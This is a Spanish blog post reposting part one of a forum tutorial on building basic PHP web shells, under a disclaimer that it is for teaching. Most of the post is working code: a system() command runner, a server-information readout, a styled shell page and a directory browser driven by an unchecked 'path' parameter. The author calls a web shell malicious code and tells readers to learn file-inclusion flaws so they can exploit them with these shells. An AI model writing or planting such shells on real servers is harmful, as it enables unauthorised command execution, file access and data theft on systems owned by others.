Inicio >

Construcción de WebShells por TheX-C3LL[con su consentimiento] pt1

9. abril 2010

A nuestra vuelta a internet , hoy os presentamos la primera parte de un manual de The X-C3LL sobre como crear web shells basicas, el manual fue creado para un foro, y para no alterar su contenido voy a citarlo textualmente de el.

Sin mas dilación:

 

Taller de construcción de WebShells básicas


Saludos!

  Lo prometido es deuda, y aquí estamos con este taller de introducción de cómo construir nuestras propias WebShells "Básicas" (Sin ninguna función especial), para no tener que depender tanto de las construidas por otras personas, ya que algo fundamental en el under es construirte tus propias herramientas y no pedírselas prestadas al vecino  Shocked.

  Así que primero daré explicación sobre qué es una webshell, cómo se pueden usar, y despues ya nos metemos en materia. Como quiero que esto sea lo más interactivo posible, iré poco a poco y esperando a que la gente postee sus ejemplos de cada parte que veamos, y al mismo tiempo ir resolviendo todas las dudas que surjan. Para empezar iros haciendo con algún hosting gratuito que permita correr scripts en PHP para ir trabajando.

  Antes que nada disculparme por mi tardanza, pero estuve desde primeros de mes en Salamanca y en Valladolid, en el primer sitio para buscar residencia, hacer la matrícula etc.

0x00 Definición de WebShell


  Yo por mi parte definiría a una WebShell como un script en PHP, PERL, ASP, etc. que permite a un usuario malintencionado ejecutar comandos y funciones dentro de un servidor. En nuestro caso vamos a ver cómo crear una en PHP.

  El código más simple puede ser ejecutar un único comando dentro del servidor. Para ello nos valemos de la función "System". Así podemos hacer por ejemplo:

Código:

<?php
system("dir");
?>


  Así que en la esencia más pura de la palabra, una WebShell es un código malicioso que permite ejecutar comandos en la Shell del servidor, pero hoy en día las webshells son scripts mucho más complejos que permiten desde listar el contenido de un directorio hasta modificar los archivos que contiene, uploadear exploits, dumpear DB's etc... Es imprescindible llegados a este punto el conocer al dedillo las vulnerabilidades  de Local y Remote File Inclusion, así que buscar en el foro e informaros bien sobre éstas, porque gracias a las webshells vamos a poder explotarlas

 


0x01 Datos Servidor

 

  En mi humilde opinión creo que lo primero que debe de mostrar nuestra webshell es la información del servidor. Un script sencillo parecido a este puede servir:

 

Código:

<?php

$Server=$_SERVER[SERVER_SOFTWARE];
echo "Server: <font color=red>$Server</font>";
echo "<br>";
$OS=php_uname();
echo "More Information of Server: <font color=red>$OS</font>";
echo "<br>";
$server_IP=$_SERVER[SERVER_ADDR];
echo "Server Address: <font color=red>$server_IP</font>";
echo "<br>";
$Lugar_shell=$_SERVER[SCRIPT_FILENAME];
echo "The Shell is in: <font color=red>$Lugar_shell</font>";
echo "<br>";
echo "Dir: <font color=red>";
echo getcwd();
echo "</font>";


?>


  Claro que así es muy "cutre", así que debemos de ir dándole estilo... Yo voy a usar el mismo estilo que una de la shells que construí en su momento, así que en mi caso, el resultado fue este:

 

Código:

<!-- Styles CSS --!>


<STYLE type="text/css">
A:link {
color: white;
text-decoration: none;
}
A:visited {
color: white;
text-decoration: none;
}
A:hover {
text-decoration: none;
cursor: crosshair;
color: red;
}
textarea {
font-family: courier new;
background-color: #282828;
font-size: 10pt;
border: 1px red solid;
color: red;
}
input {
background:#282828;
color:red;
font-family: Courier New;
border: 1px red solid;
}
</STYLE>

<!-- End of Styles || Starting the body --!>




<body style="cursor: crosshair; background: #000000; color: white;">
<font color=white>
<center>
<h1><font face="Courier New"><font color=red>[</font><b>!</b><font color=red>]</font> Av3ng3r Sh3LL <font color=red>[</font><b>!</b><font color=red>]</font></h1><br><font size=2 color=orange>By Vengador de las Sombras</font><br><br>
<div style="bottom: 50%%; width: 80%; left: 23%; right: 7%; top: 28%;
visibility: visible; z-index:10; font-family: Courier New; background-color: #000000; border:1px red dashed; text-decoration: none; text-aling: left;">
<b>
   <center>
       Informacion del Servidor:
</b>
     </center><br><br>
<?php

$Server=$_SERVER[SERVER_SOFTWARE];
echo "Server: <font color=red>$Server</font>";
echo "<br>";
$OS=php_uname();
echo "More Information of Server: <font color=red>$OS</font>";
echo "<br>";
$server_IP=$_SERVER[SERVER_ADDR];
echo "Server Address: <font color=red>$server_IP</font>";
echo "<br>";
$Lugar_shell=$_SERVER[SCRIPT_FILENAME];
echo "The Shell is in: <font color=red>$Lugar_shell</font>";
echo "<br>";
echo "Dir: <font color=red>";
echo getcwd();
echo "</font>";


?>
<br><br>
</div>
</center>
<!-- #End OF Server Info# --!>

 

 

 

 

0x03 Listando Directorios y Archivos

Algo fundamental a la hora de crear una WebShell es el ordenar los directorios de trabajo y los archivos que hay en ellos, con el fin de facilitar la administración dentro del servidor. Para ello nosotros nos vamos a valer de dos Scripts. No voy a explicar detenidamente línea por línea lo que hace el script puesto que ya dije que debíais de llevar una base mínima en PHP, de todas formas si teneis cualquier duda posteadla. De todas formas explicaré que hacen en líneas generales:


Código:
<?php
if($_GET['path']==""){
$jiji=dirname($Lugar_shell);
@$directorio=dir($jiji);
$ruta=$jiji;
}
else{
@$directorio=dir($_GET['path']);
$ruta=$_GET['path'];
}
?>
<?php
$path="$ruta";
$directorio=dir($path);
echo "<br><br>";
while ($archivo = $directorio->read())
{
  $extension=filetype($ruta.'/'.$archivo);
 if ($extension=="dir"){
echo "<font color=red><b>(<a ";
echo "href=?path=$ruta/$archivo>$archivo</a>)</b></font><br>";
}
else {
echo "<tr><td><a href=?edit=$ruta/$archivo>$archivo</a><br></td>";
}
$directorio->close();
echo "<br><br>";
?>
Con este lo que hacemos es mostrar el contenido del directorio actual. Si en el contenido (que se va listando mediante el WHILE) hay otro directorio, se reseña de una manera especial y se le hace "?PATH", en cambio, si se trata de un archivo, al clicar sobre él te llevará a ?edit (para editar). Ésta es una función que veremos el próximo día.

 

Como siempre aclarar que f-labs cuenta con el consentimiento de el autor para publicar el contenido y que este esta enfocado siempre al uso didactico y responsable.La intención de este manual es poder crear nuestras propias web shells para usarlas en local y probar nuestros servidores ya sea fixeando vulnerabilidades o usando las shells de gestor de archivos .

 

Proximamente, la segunda parte del manual.

 

p.d: Seguimos en mantenimiento se recomiendo guardar la entrada si es de interes por posibles perdidas de datos.

Comentarios

Comentarios no permitidos